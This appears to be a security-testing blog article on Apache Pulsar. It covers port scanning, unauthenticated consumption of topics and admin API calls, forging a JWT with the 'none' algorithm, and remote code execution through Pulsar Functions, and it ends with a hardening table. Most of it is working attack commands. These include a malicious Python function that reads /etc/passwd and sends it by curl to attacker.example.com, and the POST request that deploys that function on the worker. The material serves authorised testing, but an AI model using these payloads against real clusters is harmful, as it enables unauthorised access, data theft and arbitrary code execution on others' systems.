Messaging Security

Apache Pulsar Security Testing: Authentication Bypass, Namespace Isolation, and Function Worker Exploitation

📅 July 3, 2026 ⏱ 13 min read 🏷 Apache Pulsar, Messaging, Multi-Tenancy, Functions

Pulsar Service Discovery and Exposure

# Pulsar default ports:
# 6650  — binary protocol (producers/consumers) — plaintext
# 6651  — binary protocol over TLS
# 8080  — admin REST API (HTTP)
# 8443  — admin REST API (HTTPS)
# 8000  — Pulsar Functions worker

# Scan for Pulsar services
nmap -sV -p 6650,6651,8080,8443,8000 TARGET-HOST 2>/dev/null

# Test admin REST API accessibility
curl -s http://pulsar.example.com:8080/admin/v2/tenants 2>/dev/null | python3 -c "
import json,sys
try:
    tenants = json.load(sys.stdin)
    print(f'Tenants (no auth required!): {tenants}')
except:
    print('Response:', sys.stdin.read()[:200])
"

# Check broker health
curl -s http://pulsar.example.com:8080/admin/v2/broker-stats/load-report \
  2>/dev/null | python3 -m json.tool | head -30

Authentication Bypass Testing

# Pulsar default config has authenticationEnabled=false
# Test without any credentials

# Subscribe to a topic without authentication
pulsar-client consume \
  --serviceUrl pulsar://pulsar.example.com:6650 \
  --topic persistent://public/default/orders \
  --subscription-name test-sub \
  --num-messages 10 2>/dev/null
# If succeeds: no authentication required

# Python client test (no token)
python3 -c "
import pulsar
try:
    client = pulsar.Client('pulsar://pulsar.example.com:6650')
    consumer = client.subscribe('persistent://public/default/orders', 'test')
    msg = consumer.receive(timeout_millis=5000)
    print(f'Message received without auth: {msg.data()}')
    client.close()
except Exception as e:
    print(f'Error (may mean auth required): {e}')
"

# Test JWT token — check if 'none' algorithm accepted
python3 -c "
import base64,json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'none-token: {header}.{payload}.')
"
# Then test: pulsar-client consume --authPlugin org.apache.pulsar.client.impl.auth.AuthenticationToken \
#   --authParams 'token:NONE-TOKEN' ...

Pulsar Functions Arbitrary Code Execution

# Pulsar Functions run Java/Python/Go code within the Pulsar cluster
# If the Functions worker accepts function submissions without auth,
# an attacker can deploy and execute arbitrary code on the worker nodes

# Check if Functions worker is accessible without auth
curl -s http://pulsar.example.com:8080/admin/v3/functions/public/default 2>/dev/null | \
  python3 -m json.tool | head -20

# List existing functions
curl -s "http://pulsar.example.com:8080/admin/v3/functions/public/default" \
  2>/dev/null | python3 -c "
import json,sys
try:
    functions = json.load(sys.stdin)
    print(f'Functions: {functions}')
except:
    print(sys.stdin.read()[:200])
"

# Deploy a malicious function (Python) that exfiltrates data
# Create malicious function file
cat > /tmp/malicious_function.py << 'EOF'
import subprocess
def process(input, context):
    result = subprocess.check_output(['curl', '-s',
        f'http://attacker.example.com/?data={open("/etc/passwd").read()}'])
    return input
EOF

# Submit the function (only works if no auth or attacker has produce permissions)
curl -X POST "http://pulsar.example.com:8080/admin/v3/functions/public/default/malicious" \
  -F "functionConfig={\"name\":\"malicious\",\"tenant\":\"public\",\"namespace\":\"default\",\"py\":\"malicious_function.py\",\"classname\":\"malicious_function.process\",\"inputs\":[\"persistent://public/default/trigger\"]};type=application/json" \
  -F "data=@/tmp/malicious_function.py" 2>/dev/null | head -5

Pulsar Security Hardening

Security Test	Method	Risk
Unauthenticated broker access	pulsar-client consume without --authPlugin succeeds	Critical
Admin REST API without auth	curl :8080/admin/v2/tenants returns tenant list	Critical
Functions worker arbitrary code deployment	POST /admin/v3/functions with malicious Python	Critical
Cross-tenant topic access	Subscribe to persistent://other-tenant/namespace/topic	High
JWT 'none' algorithm accepted	Submit token with alg:none header	High
BookKeeper admin port exposed	curl :8000 (BookKeeper HTTP) returns metadata	High